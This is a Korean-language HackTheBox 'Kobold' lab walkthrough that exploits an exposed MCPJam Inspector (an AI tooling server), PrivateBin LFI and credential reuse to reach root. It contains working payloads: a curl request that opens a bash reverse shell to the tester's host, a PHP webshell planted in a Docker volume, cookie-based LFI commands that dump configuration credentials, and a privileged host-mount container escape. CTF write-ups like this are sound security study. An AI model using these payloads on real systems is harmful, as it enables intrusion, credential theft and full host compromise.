홈으로 돌아가기

MCPJam Inspector의 RCE: HTB Kobold 공략

HackTheBox Kobold는 개방형 API를 통한 MCPJam Inspector의 RCE를 보여주며, PrivateBin Docker 컨테이너의 LFI 체인 및 Arcane 대시보드의 privesc 자격 증명 재사용. 공략에는 nmap, ffuf, 페이로드 및 내부 정찰 포함.

HTB Kobold: Docker를 통한 MCP RCE에서 루트까지
Advertisement 728x90

HackTheBox Kobold: MCPJam Inspector를 통한 RCE 완전 공략

HackTheBox Kobold(시즌 10, 쉬움)은 AI/ML 생태계에서 노출된 개발자 도구로 인한 실제 위협을 보여줍니다. 주요 공격 경로는 MCPJam Inspector v1.4.2(GHSA-232v-j27c-5pp6)의 인증 없이 가능한 RCE입니다. 이는 Docker 볼륨과 자격 증명 재사용을 거쳐 결국 루트 접근으로 이어지는 공격 체인을 형성합니다. 이 분석은 중견 이상의 DevSecOps 전문가를 대상으로 합니다.

Nmap 스캔 결과 22번(SSH), 80/443번(nginx, kobold.htb), 3552번(Arcane 대시보드) 포트가 확인됩니다. 핵심은 SSL의 와일드카드 *.kobold.htb와 노출된 MCPJam Inspector가 있는 서브도메인 mcp.kobold.htb입니다.

정찰 및 열거

표준 nmap 스캔:

Google AdInline article slot
nmap -p- -sC -sV -oN recon/nmap/full.txt <Target IP>

| 포트 | 서비스 | 버전 | 참고 사항 |

|------|---------|---------|-------|

| 22 | SSH | OpenSSH 9.6p1 | CVE 없음 |

Google AdInline article slot

| 80 | HTTP | nginx 1.24.0 | HTTPS로 리디렉션 |

| 443 | HTTPS | nginx 1.24.0 | kobold.htb |

| 3552 | HTTP | - | Arcane 대시보드 |

Google AdInline article slot

vhost 열거를 위한 ffuf:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154

mcp.kobold.htb 발견 — MCPJam Inspector v1.4.2. 로그인 없이 전체 접근 가능: 서버, 채팅, 앱 빌더. Ollama에 연결됨.

모델 컨텍스트 프로토콜(MCP) — AI 모델을 외부 도구와 통합하기 위한 프로토콜. Inspector는 0.0.0.0에서 수신하며, API /api/mcp/connect는 검증 없이 serverConfig.command를 수락합니다.

초기 접근: MCPJam에서의 RCE

리스너 설정:

nc -lvnp 4444

페이로드:

curl -k https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<Your IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'

ben으로 쉘 획득(uid=1001, groups=ben,operator). 안정화:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z; stty raw -echo; fg
export TERM=xterm

사용자 플래그: /home/ben/user.txt.

내부 정찰

id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

cat /etc/group | grep docker
# docker:x:111:alice

쉘을 가진 사용자: root, ben, alice. ben — operator, alice — docker.

ss -tlnp는 localhost:8080(PrivateBin Docker), 6274(MCPJam)을 보여줍니다. Nginx 설정은 bin.kobold.htb → localhost:8080을 나타냅니다.

operator 그룹은 /privatebin-data/ — 공유 Docker 볼륨에 대한 읽기/쓰기 접근 권한을 가집니다.

find / -group operator 2>/dev/null

볼륨을 통한 PrivateBin의 LFI

PrivateBin 2.0.2(CVE-2025-64714, GHSA-g2j9-g8r5-rg82). templateselection = true일 때 쿠키 template을 통한 LFI.

  • 볼륨에 웹쉘 생성:
cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
  • 실행:
curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=id"
  • conf.php 덤프:
curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=cat /srv/cfg/conf.php"

MySQL 자격 증명: 사용자명 privatebin, 비밀번호 유출.

권한 상승: 자격 증명 재사용

체크리스트:

  • SSH(alice/ben/root + 유출된 비밀번호)
  • su alice/root
  • Arcane: arcane/arcane-admin + 유출된 비밀번호

성공: arcane / <LEAKED_PASSWORD> in Arcane v1.13.0 on :3552.

대시보드에서 전체 Docker 제어 가능. /host를 프리빌리지드 마운트로 컨테이너 생성 → 루트 쉘.

핵심 요약:

  • 노출된 MCP 도구(GHSA-232v-j27c-5pp6) — AI 인프라의 새로운 RCE 벡터
  • 공유 Docker 볼륨 + operator 그룹 = 호스트 파일 시스템 접근
  • 자격 증명 재사용: 기본 사용자명 + 유출된 비밀번호
  • 쓰기 가능한 볼륨을 통한 LFI 체이닝으로 컨테이너 격리 우회
  • 와일드카드 서브도메인과 내부 서비스 항상 열거

— Editorial Team

Advertisement 728x90

다음 읽기